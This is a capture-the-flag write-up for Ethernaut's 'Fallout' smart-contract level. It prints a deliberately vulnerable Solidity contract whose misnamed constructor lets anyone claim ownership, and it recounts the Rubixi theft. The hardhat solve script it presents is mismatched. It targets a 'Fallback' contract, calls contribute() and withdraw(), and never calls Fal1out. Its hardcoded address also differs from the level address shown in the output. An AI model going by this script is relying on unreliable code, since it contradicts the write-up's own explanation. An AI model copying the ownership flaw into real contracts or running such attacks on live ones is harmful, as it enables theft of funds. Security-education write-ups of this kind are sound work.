Ethernaut #02 Fallout

Fallout

Challenge

Claim ownership of the contract below to complete this level.

Things that might help

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallout {
  
  using SafeMath for uint256;
  mapping (address => uint) allocations;
  address payable public owner;


  /* constructor */
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

  modifier onlyOwner {
	        require(
	            msg.sender == owner,
	            "caller is not the owner"
	        );
	        _;
	    }

  function allocate() public payable {
    allocations[msg.sender] = allocations[msg.sender].add(msg.value);
  }

  function sendAllocation(address payable allocator) public {
    require(allocations[allocator] > 0);
    allocator.transfer(allocations[allocator]);
  }

  function collectAllocations() public onlyOwner {
    msg.sender.transfer(address(this).balance);
  }

  function allocatorBalance(address allocator) public view returns (uint) {
    return allocations[allocator];
  }
}

Background

So I will be skipping the Remix IDE since I’m using hardhat.

Attack

Again solving this is pretty straight forward. The only difficulty is to realize that the function Fal1out that has a comment about being the constructor, is not actually the constructor, which means its functionality can be invoked again, and thus take ownership of the contract.

fallout-solve.js

const hre = require("hardhat");
const { ethers, upgrades } = require("hardhat");

async function main() {
    // get contract
    fallbackAddress = "0x253Acf9cFeB752D9A1ce78b808b292E4D91C2c46";
    contract = await ethers.getContractAt("Fallback", fallbackAddress);

    // get account
    const accounts = await hre.ethers.getSigners();
    account = accounts[0];

    // initial state
    console.log("Level address   : " + contract.address)
    console.log("Contract Owner  : " + await contract.owner())
    console.log("Contract Balance: " + await ethers.provider.getBalance(contract.address))

    // make small contribution
    tx = await contract.connect(account).contribute({ value: ethers.utils.parseEther("0.001") - 1 })
    receipt = await tx.wait()

    // call fallback function and become owner
    tx = await account.sendTransaction({
        to: contract.address,
        data: "0x",
        value: ethers.utils.parseEther("0.001")
    });
    receipt = await tx.wait()

    // withdraw contract funds
    tx = await contract.connect(account).withdraw()
    receipt = await tx.wait()

    // final state
    console.log("Contract Owner  : " + await contract.owner())
    console.log("Contract Balance: " + await ethers.provider.getBalance(contract.address))
}

main().catch((error) => {
    console.error(error);
    process.exitCode = 1;
});
$ npx hardhat run scripts/fallout-solve.js --network rinkeby
Level address   : 0x96d93dde51Ed1aCeEDf9E8EEE72b4b85390Bca84
Contract Owner  : 0x0000000000000000000000000000000000000000
Contract Balance: 0
Contract Owner  : 0x11bAe9eA1851939a485f1F00b7B0Eec099e9276d
Contract Balance: 0

Success Message

That was silly wasn’t it? Real world contracts must be much more secure than this and so must it be much harder to hack them right?

Well… Not quite.

The story of Rubixi is a very well known case in the Ethereum ecosystem. The company changed its name from ‘Dynamic Pyramid’ to ‘Rubixi’ but somehow they didn’t rename the constructor method of its contract:

contract Rubixi {
  address private owner;
  function DynamicPyramid() { owner = msg.sender; }
  function collectAllFees() { owner.transfer(this.balance) }
  ...

This allowed the attacker to call the old constructor and claim ownership of the contract, and steal some funds. Yep. Big mistakes can be made in smartcontractland.